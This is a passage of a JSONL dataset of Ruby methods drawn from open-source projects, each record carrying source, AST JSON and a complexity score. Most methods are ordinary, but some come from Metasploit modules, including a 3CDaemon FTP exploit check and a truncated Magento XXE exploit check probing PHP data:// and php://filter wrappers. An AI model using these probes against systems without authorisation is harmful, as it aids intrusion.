},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cache\"]},\"CACHE_NAMESPACE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]}]}]}]}]}","id":"89dc7f08-05c6-4087-b035-1a84f73d52fd"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/base.rb","start_line":548,"raw_source":"def register_interceptor(interceptor)\n        Mail.register_interceptor(observer_class_for(interceptor))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_interceptor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"interceptor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"register_interceptor\",{\"type\":\"send\",\"children\":[null,\"observer_class_for\",{\"type\":\"lvar\",\"children\":[\"interceptor\"]}]}]}]}","id":"19921c8a-81d9-463c-a0bf-edd5fe4ed908"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/register_user_service.rb","start_line":193,"raw_source":"def with_saved_user_result(success_message: I18n.t(:notice_account_activated))\n      if user.save\n        yield if block_given?\n        return ServiceResult.success(result: user, message: success_message)\n      end\n\n      ServiceResult.failure.tap do |call|\n        # Avoid using the errors from the user\n        call.result = user\n        call.errors.add(:base, I18n.t(:notice_activation_failed), error: :failed_to_activate)\n      end\n    end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"with_saved_user_result\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"success_message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_account_activated\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"success_message\"]}]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result=\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_activation_failed\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"sym\",\"children\":[\"failed_to_activate\"]}]}]}]}]}]}]}]}","id":"39b8eed0-e2de-4b26-848c-6f05564a01c5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/nodes/node.rb","start_line":123,"raw_source":"def initialize(x = Object.new)\n          super\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}","id":"9ea2220d-e92e-4729-8c2e-98c567180b4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/menu.rb","start_line":22,"raw_source":"def initialize(context)\n      @context = context\n      @items = []\n\n      configure_menu_items\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@items\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"configure_menu_items\"]}]}]}","id":"df80d2b9-d17a-4efa-bfb1-c8473d132ebf"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/brakeman.rb","start_line":93,"raw_source":"def test_params?\n    assert util.params?(@ruby_parser.new.parse 'params[:x][:y][:z]')\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_params?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"util\"]},\"params?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ruby_parser\"]},\"new\"]},\"parse\",{\"type\":\"str\",\"children\":[\"params[:x][:y][:z]\"]}]}]}]}]}","id":"f9a31b0f-c753-45cd-8f0d-19da0b9395d7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/ivanti_login.rb","start_line":132,"raw_source":"def do_logout(cookies)\n          send_request({ 'uri' => normalize_uri('/dana-na/auth/logout.cgi?delivery=psal'), 'cookie' => cookies })\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"do_logout\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookies\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/dana-na/auth/logout.cgi?delivery=psal\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]}","id":"50e94571-f3c9-49fe-b821-e2579a4bef41"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/sql_collection_representer.rb","start_line":37,"raw_source":"def ctes(walker_result)\n          cte = {\n            projection: walker_result.projection_scope\n                                     .limit(sql_limit(walker_result))\n                                     .offset(sql_offset(walker_result))\n                                     .to_sql,\n            # Including the proper SELECT for total would immediately perform a count, thus we only perform it,\n            # if there is a select that requires the total and leave this placeholder otherwise\n            total: \"SELECT -1\"\n          }\n\n          if walker_result.select?(\"total\") || walker_result.select?(\"nextByOffset\")\n            # Currently, there does not appear to be a way to correctly transform the filter_scope into SQL\n            # (e.g. by calling #to_sql) so that the extra call to the database is avoided. The main problem\n            # is that LEFT JOINS added via includes are not part of the SQL generated by #to_sql.\n            cte[:total] = \"SELECT #{walker_result.filter_scope.count}\"\n          end\n\n          cte\n        end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ctes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"walker_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cte\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"walker_result\"]},\"projection_scope\"]},\"limit\",{\"type\":\"send\",\"children\":[null,\"sql_limit\",{\"type\":\"lvar\",\"children\":[\"walker_result\"]}]}]},\"offset\",{\"type\":\"send\",\"children\":[null,\"sql_offset\",{\"type\":\"lvar\",\"children\":[\"walker_result\"]}]}]},\"to_sql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"str\",\"children\":[\"SELECT -1\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"walker_result\"]},\"select?\",{\"type\":\"str\",\"children\":[\"total\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"walker_result\"]},\"select?\",{\"type\":\"str\",\"children\":[\"nextByOffset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cte\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"walker_result\"]},\"filter_scope\"]},\"count\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"cte\"]}]}]}","id":"ec4119a9-6752-4817-b032-24a1d8779dae"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/user.rb","start_line":431,"raw_source":"def self.metadata_for_system_token(userid)\n    return unless authenticator(userid).user_authorizable_with_system_token?\n\n    user = in_my_region.find_by(:userid => userid)\n    return if user.blank?\n\n    {\n      :userid      => user.userid,\n      :name        => user.name,\n      :email       => user.email,\n      :first_name  => user.first_name,\n      :last_name   => user.last_name,\n      :group_names => user.miq_groups.try(:collect, &:description)\n    }\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"metadata_for_system_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticator\",{\"type\":\"lvar\",\"children\":[\"userid\"]}]},\"user_authorizable_with_system_token?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_my_region\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"userid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"first_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"last_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"miq_groups\"]},\"try\",{\"type\":\"sym\",\"children\":[\"collect\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]}]}]}","id":"1d8a90fb-fbe9-43fe-9535-d0a6956efcb1"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vbulletin5.rb","start_line":202,"raw_source":"def import_group_users\n    puts \"Importing group users...\"\n\n    # import primary groups\n\n    group_users = mysql_stream <<-SQL\n      SELECT usergroupid, userid\n        FROM #{DB_PREFIX}user\n       WHERE userid > #{@last_imported_user_id}\n    SQL\n\n    create_group_users(group_users) do |row|\n      { group_id: group_id_from_imported_id(row[0]), user_id: user_id_from_imported_id(row[1]) }\n    end\n\n    # import secondary group memberships\n\n    secondary_group_users = mysql_stream <<-SQL\n      SELECT membergroupids, userid\n        FROM #{DB_PREFIX}user\n    SQL\n\n    group_mapping = []\n\n    secondary_group_users.each do |user|\n      next unless user_id = user_id_from_imported_id(user[1])\n      member_groups = user[0].split(\",\")\n\n      member_groups.each do |group|\n        next unless group_id = group_id_from_imported_id(group)\n        group_mapping << [group_id, user_id]\n      end\n    end\n\n    create_group_users(group_mapping) { |row| { group_id: row[0], user_id: row[1] } }\n  end","complexity_score":36.9,"ast_json":"{\"type\":\"def\",\"children\":[\"import_group_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Importing group users...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_users\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT usergroupid, userid\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"user\\n\"]},{\"type\":\"str\",\"children\":[\"       WHERE userid > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_group_users\",{\"type\":\"lvar\",\"children\":[\"group_users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[null,\"group_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secondary_group_users\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT membergroupids, userid\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"user\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group_mapping\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secondary_group_users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"member_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_groups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_id\",{\"type\":\"send\",\"children\":[null,\"group_id_from_imported_id\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_mapping\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_group_users\",{\"type\":\"lvar\",\"children\":[\"group_mapping\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"7960c23c-6eb0-4ac8-8021-609b996514e8"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/processor.rb","start_line":113,"raw_source":"def handle_fetch_exception(ex)\n      unless @down\n        @down = ::Process.clock_gettime(::Process::CLOCK_MONOTONIC)\n        handle_exception(ex)\n      end\n      sleep(1)\n      nil\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_fetch_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@down\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@down\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Process\"]},\"CLOCK_MONOTONIC\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"dd9c12bc-cde0-4219-bb52-334923663560"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/remote_storage.rb","start_line":65,"raw_source":"def encryption_attributes\n      return object_storage_config.fog_attributes if object_storage_config.aws_server_side_encryption_enabled?\n\n      # Use customer-managed keys. Also, this preserves backward-compatibility\n      # for existing use of Amazon S3-Managed Keys (SSE-S3) that don't set\n      # `backup.upload.storage_options.server_side_encryption` to `'AES256'`.\n      #\n      # AWS supports three different modes for encrypting S3 data:\n      #\n      # 1. Server-Side Encryption with Amazon S3-Managed Keys (SSE-S3)\n      # 2. Server-Side Encryption with Customer Master Keys (CMKs) Stored in AWS\n      # Key Management Service (SSE-KMS)\n      # 3. Server-Side Encryption with Customer-Provided Keys (SSE-C)\n      #\n      # Previously, SSE-S3 and SSE-C were supported via the\n      # `backup.upload.encryption` and `backup.upload.encryption_key`\n      # configuration options.\n      #\n      # SSE-KMS was previously not supported in backups because there was no way\n      # to specify which customer-managed key to use. However, we did support\n      # SSE-KMS with consolidated object storage enabled for other CI artifacts,\n      # attachments, LFS, etc. Note that SSE-C is NOT supported here.\n      #\n      # In consolidated object storage, the `storage_options` Hash provides the\n      # `server_side_encryption` and `server_side_encryption_kms_key_id`\n      # parameters that allow admins to configure SSE-KMS. We reuse this\n      # configuration in backups to support SSE-KMS.\n      {\n        encryption_key: Gitlab.config.backup.upload.encryption_key,\n        encryption: Gitlab.config.backup.upload.encryption\n      }\n    end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encryption_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_storage_config\"]},\"aws_server_side_encryption_enabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_storage_config\"]},\"fog_attributes\"]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encryption_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"backup\"]},\"upload\"]},\"encryption_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encryption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"backup\"]},\"upload\"]},\"encryption\"]}]}]}]}]}","id":"7594ee0a-2d30-46dd-bc89-bc3bec5cea66"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb","start_line":102,"raw_source":"def check\n    connect\n    disconnect\n    if (banner =~ /3Com 3CDaemon FTP Server Version 2\\.0/)\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"3Com 3CDaemon FTP Server Version 2\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"7da02afd-0ddf-4f33-b4d7-457820dffd74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/labels_controller.rb","start_line":166,"raw_source":"def label_params\n    allowed = [:title, :description, :color]\n    allowed << :archived if Feature.enabled?(:labels_archive, :instance)\n    allowed << :lock_on_merge if @project.supports_lock_on_merge?\n\n    params.require(:label).permit(allowed)\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"label_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowed\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"color\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"labels_archive\"]},{\"type\":\"sym\",\"children\":[\"instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"archived\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"supports_lock_on_merge?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"lock_on_merge\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"label\"]}]},\"permit\",{\"type\":\"lvar\",\"children\":[\"allowed\"]}]}]}]}","id":"a8e40c8e-4bc4-48b5-b854-36cdb478e0cc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/frontpage_login.rb","start_line":13,"raw_source":"def initialize\n    super(\n      'Name' => 'FrontPage Server Extensions Anonymous Login Scanner',\n      'Description' => 'This module queries the FrontPage Server Extensions and determines whether anonymous access is allowed.',\n      'References' => [\n        ['URL', 'https://en.wikipedia.org/wiki/Microsoft_FrontPage'],\n        ['URL', 'https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ms454298(v=office.14)'],\n      ],\n      'Author' => 'Matteo Cantoni <goony[at]nothink.org>',\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        OptString.new('UserAgent', [ true, \"The HTTP User-Agent sent in the request\", Rex::UserAgent.session_agent ])\n      ]\n    )\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FrontPage Server Extensions Anonymous Login Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"This module queries the FrontPage Server Extensions and determines whether anonymous access is allowed.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://en.wikipedia.org/wiki/Microsoft_FrontPage\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ms454298(v=office.14)\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Matteo Cantoni <goony[at]nothink.org>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"UserAgent\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP User-Agent sent in the request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"UserAgent\"]},\"session_agent\"]}]}]}]}]}]}]}","id":"c874b6bc-f489-4294-915e-a05a51e16d55"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb","start_line":108,"raw_source":"def check_php_rce_requirements\n    text = Rex::Text.rand_text_alpha(50)\n    base64 = Rex::Text.encode_base64(text)\n    path1 = \"data:text/plain;base64,#{base64}\"\n\n    result1 = download_file(path1)\n    if result1 == text\n      vprint_good('The data wrapper is working')\n    else\n      return CheckCode::Safe('The data:// wrapper does not work')\n    end\n\n    text = Rex::Text.rand_text_alpha(50)\n    base64 = Rex::Text.encode_base64(text)\n    path2 = \"php://filter//resource=data:text/plain;base64,#{base64}\"\n    result2 = download_file(path2)\n\n    if result2 == text\n      vprint_good('The filter wrapper is working')\n    else\n      return CheckCode::Safe('The php://filter/ wrapper does not work')\n    end\n\n    text = Rex::Text.rand_text_alpha(50)\n    compressed_text = compress(text)\n    base64 = 